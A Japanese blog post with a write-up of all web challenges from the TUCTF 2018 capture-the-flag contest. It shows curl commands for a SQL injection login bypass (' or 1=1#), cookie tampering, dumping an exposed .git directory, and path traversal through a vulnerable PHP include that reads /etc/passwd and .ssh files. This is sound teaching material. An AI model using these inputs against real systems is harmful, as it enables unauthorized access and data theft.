こんとろーるしーこんとろーるぶい

週末にカチャカチャッターン!したことを貼り付けていくブログ

TUCTF 2018 Writeup - Web(全問)

TUCTF 2018、Web問は全て解いたので、まとめてWriteup記載。

Guessing要素が多めだった気がします。

目次

Mrs. White's Messy Maids

問題

Mrs. White's simple website might be hiding some murderous intentions...

Writeup

HTMLソースに/Boddyのコンテンツを示唆するコメントがある。

root@kali:~# curl http://18.218.152.56/
<html>
        <head>
           <title>Mrs. White</title>
       <link rel="stylesheet" href="styles.css">
       </head>    
        
    <body>    
        <h1>Welcome to Mrs. White's Maid Service</h1>
        <img src="https://tinyurl.com/ybbtf3nv" height="500">
        <p>We offer only the best maids for all your cleaning needs
        <br>
        To learn more about our services, call 275-317-3581
        <!-- I might kill if I could find him. Stupid Mr. /Boddy --></p>
        </body>   
</html>
root@kali:~# curl http://18.218.152.56/Boddy/
<html>
    <head>
       <title>/Boddy</title>
       <link rel="stylesheet" href="styles.css">
   </head>
    <body>
        <p>TUCTF{1_4ccu53_Mr5._Wh173_w17h_7h3_c4ndl3571ck_1n_7h3_c0mm3n75}</p>
    </body>
</html>

フラグゲット。
TUCTF{1_4ccu53_Mr5._Wh173_w17h_7h3_c4ndl3571ck_1n_7h3_c0mm3n75}

Mr. Green's Weird Website

問題

While investigating Mr. Green for something completely unrelated, we found this login page.
Maybe you can find a way in?

Writeup

usernameとpasswordを入力するログイン画面。

admin/adminでログイン成功。

root@kali:~# curl http://18.219.196.70/login.php -d "username=admin&password=admin"
<link href="login.css" rel="stylesheet" type="text/css"><title>Lovely</title><h1>TUCTF{1_4ccu53_mr._6r33n_w17h_7h3_b4d_p455w0rd_1n_7h3_l061n}</h1>

フラグゲット。
TUCTF{1_4ccu53_mr._6r33n_w17h_7h3_b4d_p455w0rd_1n_7h3_l061n}

Colonel Mustard's Simple Signin

問題

We know Col Mustard is up to something--can you find a way in to tell us what?

Writeup

usernameとpasswordを入力するログイン画面。

usernameにadmin、passwordに単純なSQLiの' or 1=1#でクリア。

root@kali:~# curl http://13.59.239.132/login.php -d "username=admin&password='%20or%201=1#"
<link href="login.css" rel="stylesheet" type="text/css"><title>Perfect!</title><h1>TUCTF{1_4ccu53_c0l0n3l_mu574rd_w17h_7h3_r0p3_1n_7h3_l061n}</h1>

フラグゲット。
TUCTF{1_4ccu53_c0l0n3l_mu574rd_w17h_7h3_r0p3_1n_7h3_l061n}

Miss Scarlet's Resume Requests

問題

Something is up with Miss's Scarlet's acting site. Maybe you can take a look?

Writeup

/contact.phpに遷移すると、以下のメッセージ。

All you need to do is find a way to Mr. Boddy. He's been blackballing me in the industry.

最初の問題と同じく、/Boddy/にアクセス。

root@kali:~# curl http://18.220.239.106/Boddy/
<html>
        <head>
                <title>Not a Clue</title>
                <style>
                        body {
                                background-color: #8B0000;
                                margin: 0;
                                padding: 0;
                                font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;

                        }
                        div {
                                width: 600px;
                                margin: 5em auto;
                                padding: 50px;
                                background-color: #fff;
                                border-radius: 1em;
                        }
                        a:link, a:visited {
                        color: #38488f;
                        text-decoration: none;
                        }
                        @media (max-width: 700px) {
                                body {
                                        background-color: #fff;
                        }
                                div {
                                        width: auto;
                                        margin: 0 auto;
                                        border-radius: 0;
                                        padding: 1em;
                                }
                        }
                </style>
        </head>
    <body>
        <h2>That was a really good try...Did you think it would be that easy?
        <!--Maybe look into how easy it would be to receive some tissues in the 'post'--></h2>
    </body>
</html>

postしてみる。

root@kali:~# curl http://18.220.239.106/Boddy/ -X POST
<html>
        <head>
                <title>Mr. Boddy</title>
                <style>
                        body {
                                background-color: #8B0000;
                                margin: 0;
                                padding: 0;
                                font-family: "Open Sans", "Helvetica Neue", Helvetica, Arial, sans-serif;

                        }
                        div {
                                width: 600px;
                                margin: 5em auto;
                                padding: 50px;
                                background-color: #fff;
                                border-radius: 1em;
                        }
                        a:link, a:visited {
                        color: #38488f;
                        text-decoration: none;
                        }
                        @media (max-width: 700px) {
                                body {
                                        background-color: #fff;
                        }
                                div {
                                        width: auto;
                                        margin: 0 auto;
                                        border-radius: 0;
                                        padding: 1em;
                                }
                        }
                </style>
        </head>
    <body>
        <h1>TUCTF{1_4ccu53_m155_5c4rl37_w17h_7h3_kn1f3_1n_7h3_h77p_r3qu357}</h1>
    </body>
</html>

フラグゲット。
TUCTF{1_4ccu53_m155_5c4rl37_w17h_7h3_kn1f3_1n_7h3_h77p_r3qu357}

Professor Plum's Ravenous Researcher

問題

Professor Plum is hiring! Maybe you can get the job!

Writeup

Professor Plumが、Mr. Boddyの居場所を探しているというストーリー。

まずは流れに沿って各画面の動きを調べる。

  1. /search.php
    Loactionの入力が可能なので、適当に入力すると/signup.phpLocation=<入力値>をsubmitした。

  2. /signup.php
    Found_Boddy=0Location=<base64エンコードされたLocation>のSet-Cookieが返却されて、/looking.phpへリダイレクトされた。

  3. /looking.php
    Maybe try somewhere else in the mansion?が表示された。

ここから結構悩む。

Found_Boddy=0Found_Boddy=1に改ざんするのだろうと容易に想像がつくが、Locationはどうするか?

立ち返って、そもそも、この一連の問題の元ネタをググってみる。

Cluedo - Wikipedia

有名なテーブルゲームらしい。映画化、ゲーム化もされたようだ。
wikipedia内に、ゲーム内に登場するRoomの情報を発見。

  • Kitchen
  • Ballroom
  • Conservatory
  • Dining Room
  • Cellar with envelope
  • Billiard Room
  • Library
  • Hall
  • Lounge
  • Study

順番に試してみると、Billiard Roomを入力時に、以下のメッセージに変わった。
Locationは合ったのだろう。
Maybe try looking again?

あとは、Found_Boddy=1に改ざんしてリクエストする。
ワンライナーで解く。

root@kali:~# curl http://18.223.185.148/looking.php -H "Cookie: Found_Boddy=1;Location=`echo -n 'billiard room'|base64`"
<title>Success!</title><link href="file.css" rel="stylesheet" type="text/css"><h1><center>Congrats! You found him</center></h1><p>TUCTF{1_4ccu53_pr0f3550r_plum_w17h_7h3_c00k13_1n_7h3_b1ll14rd_r00m}</p>

フラグゲット。
TUCTF{1_4ccu53_pr0f3550r_plum_w17h_7h3_c00k13_1n_7h3_b1ll14rd_r00m}

Easter Egg: Copper Gate

問題

We know Col Mustard is up to something--can you find a way in to tell us what?

Writeup

トップページには、youtubeの埋め込み動画とimages/banner.pngのみ。

root@kali:~# curl http://18.191.227.167/
<html>
    <body bgcolor="000000">
        <center>
            <img src="images/banner.png" alt="banner" height=150 width=700>
            </br>
            </br>
            <font color="white">
                <h1>Thank you for joining us today.</h1>
            <h3>Apologies, but the site is currently under construction.</h3>
            <h5>Please return at a later date for more content!</h5>
            <iframe width="560" height="315" src="https://www.youtube.com/embed/o5L94RV6ZDE" frameborder="0" allow="accelerometer; autoplay; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe>
            <h5>- Joker</h5>
            </font>
        </center>
    </body>
</html>

/images/にアクセスするとディレクトリリスティングが可能。

root@kali:~# curl http://18.191.227.167/images/
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<html>
 <head>
  <title>Index of /images</title>
 </head>
 <body>
<h1>Index of /images</h1>
  <table>
   <tr><th valign="top"><img src="/icons/blank.gif" alt="[ICO]"></th><th><a href="?C=N;O=D">Name</a></th><th><a href="?C=M;O=A">Last modified</a></th><th><a href="?C=S;O=A">Size</a></th><th><a href="?C=D;O=A">Description</a></th></tr>
   <tr><th colspan="5"><hr></th></tr>
<tr><td valign="top"><img src="/icons/back.gif" alt="[PARENTDIR]"></td><td><a href="/">Parent Directory</a>       </td><td>&nbsp;</td><td align="right">  - </td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="banner.png">banner.png</a>             </td><td align="right">2018-11-23 22:13  </td><td align="right">511K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/image2.gif" alt="[IMG]"></td><td><a href="logo.png">logo.png</a>               </td><td align="right">2018-11-23 22:13  </td><td align="right">7.1K</td><td>&nbsp;</td></tr>
<tr><td valign="top"><img src="/icons/text.gif" alt="[TXT]"></td><td><a href="sitenotes.txt">sitenotes.txt</a>          </td><td align="right">2018-11-23 22:13  </td><td align="right"> 89 </td><td>&nbsp;</td></tr>
   <tr><th colspan="5"><hr></th></tr>
</table>
</body></html>

sitenotes.txtを確認するとリンク先を発見。

root@kali:~# curl http://18.191.227.167/images/sitenotes.txt
Site is in development, but active updates can be viewed by going to /devvvvv/index.html

自動でhome.htmlへ遷移させられるが、コメント欄にもリンクを発見。

root@kali:~# curl http://18.191.227.167/devvvvv/index.html
<meta http-equiv="refresh" content="0; URL='home.html'" />

<!-- Congratulations! You have discovered the path to the first flag. Please continue your journey at "/enterthecoppergate/gate.html" -->

home.htmlには、この一連の問題の趣旨と、レディプレイヤーワン(映画)のリンク。
映画、面白かったですね。IT系ホイホイの映画。

root@kali:~# curl http://18.191.227.167/devvvvv/home.html
<html>
    <body bgcolor="000000">
        <center>
            <img src="../images/banner.png" alt="banner" height=150 width=700>
            </br>
            </br>
            <font color="white">
                <h1>Welcome to the development area</h1>
                <p>You may be asking yourself how you got here... Truth be told I have no idea either. You may want to figure that out.</p>
                </br>
                <p>Moving on, though.</p>
                <h2>I hope you have as much fun solving this as I did writing it.</h2>
                <h3>A big thank you to Warren Robinett for begininning this fun tradition.</h3>
                <p>In the spirit of the classic video game easter egg, I have hidden a series of challenges throughout this site. In the spirit of my favorite book, Ready Player One, there will be three challenges that will culminate into a final test.</p>
                </br>
                <p>For reference:</p>
                <a href="https://www.youtube.com/watch?v=cSp1dM2Vj48">Ready Player One Trailer</a>
                </br>
                </br>
                <p>Upon collecting the first three flags, a clue to the final challenge will be unlocked. For those that find their way to the end, a bounty of points will be your reward. Thank you to everyone for your participation. And now for the introduction.</p>
                </br>
                <h1>Introductions</h1>
                </br>
                <p>Three hidden flags open three secret gates.</p>
                <p>Wherein the challenger will be tested for worthy traits.</p>
                <p>And those with the skill to solve what I create</p>
                <p>Will reach The End, where the points await</p>
                </br>
                </br>
                </br>
                <h1>The First Challenge</h1>
                </br>
                <p>The Copper Flag awaits your attention</p>
                <p>Somewhere in an old direction</p>
                <p>But you have much to review</p>
                <p>If you hope to accrue</p>
                <p>The points protected by this section.</p>
                </br>
                </br>
                </br>
            </font>
        </center>
    </body>
</html>

もう1つのコメントアウトされたリンクを見るとbase64エンコードされたフラグをゲット。

root@kali:~# curl http://18.191.227.167/enterthecoppergate/gate.html
<html>
    <body bgcolor="000000">
        <center>
            <img src="../images/banner.png" alt="banner" height=150 width=700>
            </br>
            </br>
            <font color="white">
                <h1>CONGRATULATIONS!</h1>
                <h2>You have found the Copper Flag.</h2>
                </br>
                <img src="copperkey.jpg" alt="Copper" height=272 width=640>
                </br>
                <p>
                    <b>VFVDVEZ7VzNsYzBtM19UMF9UaDNfMDQ1MTVfVGgzX0MwcHAzcl9LM3l9Cg==</b>
                </p>
                </br>
                <h1>The Jade Flag</h1>
                <p>The updates conceal the Jade Flag</p>
                <p>in a backup long neglected</p>
                <p>But you can only retrace your steps</p>
                <p>once the logs are all collected</p>
                </br>
                </br>
                </br>
            </font>
        </center>
    </body>
</html>

フラグゲット。
TUCTF{W3lc0m3_T0_Th3_04515_Th3_C0pp3r_K3y}

Easter Egg: Jade Gate

問題

Gotta make sure I log my changes. - Joker

Writeup

1つ前の問題で、logとかbackupとかヒントが出ていたので、リポジトリがあるものと想像。
/.git/ディレクトリを発見。

以下コマンドで全取得する。

wget --recursive --level inf --no-clobber --random-wait --restrict-file-names=windows --no-parent -R "index.html?*" http://18.191.227.167/.git/

取得後、ファイルを確認。

root@kali:~/18.191.227.167# git ls-files
crystalsfordays/index.html
crystalsfordays/traversethebridge.php
devvvvv/home.html
devvvvv/index.html
enterthecoppergate/copperkey.jpg
enterthecoppergate/gate.html
enterthecoppergate/index.html
enterthecoppergate/jadekey.jpg
images/banner.png
images/logo.png
images/sitenotes.txt
index.html
youfoundthejadegate/gate.html
youfoundthejadegate/index.html
youfoundthejadegate/jadekey.jpg
youfoundthejadegate/star.jpg

http://18.191.227.167/youfoundthejadegate/gate.htmlを確認する。

root@kali:~# curl http://18.191.227.167/youfoundthejadegate/gate.html
<html>
    <body bgcolor="000000">
        <center>
            <img src="../images/banner.png" alt="banner" height=150 width=700>
            </br>
            </br>
            <font color="white">
                <h1>CONGRATULATIONS!</h1>
                <h2>You have found the Jade Flag. No, actually this time.</h2>
                </br>
                <img src="jadekey.jpg" alt="Jade">
                </br>
                <p>
                    <b>TUCTF{S0_Th1s_D035n7_533m_l1k3_175_f41r_8u7_wh0_3v3r_s41d_l1f3_15_f41r?}</b>
                </p>
                </br>
                <h1>The Crystal Flag</h1>
                <img src="star.jpg" alt="Rush">
                </br>
                </br>
            </font>
        </center>
    </body>
</html>

フラグゲット。
TUCTF{S0_Th1s_D035n7_533m_l1k3_175_f41r_8u7_wh0_3v3r_s41d_l1f3_15_f41r?}

Easter Egg: Crystal Gate

問題

I don't wanna go anywhere.

Writeup

gitリポジトリより、http://18.191.227.167/crystalsfordays/traversethebridge.phpがあることが判明している。

リポジトリにあったコードは以下のとおり。

<?php
echo 'Note: Only used for access management and to check user info.';
echo '<br>';
echo 'Note2: I can\'t seem to remember the param. It\'s "file"';
echo '<br>';

if (isset($_GET['file'])) {
    $file = $_GET['file'];
    if (strpos($file, '/etc/passwd') == true) {
        include($file);
    }
    elseif (strpos($file, '.ssh') == true) {
        include($file);
        echo '<br>';
        echo 'Probably shouldn\'t put my own key in my own authorized keys, but oh well.';
    }
}
?>

ただ、どうやらこのソースとサーバ上にあるソースは異なるようだ。
試行錯誤した結果、以下のパラメータでフラグゲット。手動ファジング。

root@kali:~/18.191.227.167# curl http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../
Note: Only used for access management and to check user info.<br>Note2: I can't seem to remember the param. It's "file"<br>..
.bash_history
webserver
.
.bash_logout
.bashrc
.bash_profile
TheEgg.html
<br>
root@kali:~/18.191.227.167# curl http://18.191.227.167/crystalsfordays/traversethebridge.php?file=../../TheEgg.html
Note: Only used for access management and to check user info.<br>Note2: I can't seem to remember the param. It's "file"<br><html>

<p>THE END</p>
<p>Congratulations! You have discovered the crystal key and unlocked the egg. Thank you for your participation in this competition and I hope you enjoyed the trip, as well as learned a few things in the process.</p>
<p>- Joker</p>
<p>TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}</p>
</html>

フラグゲット。
TUCTF{3_15_4_M4G1C_NUMB3R_7H3_crys74L_k3Y_15_y0ur5!}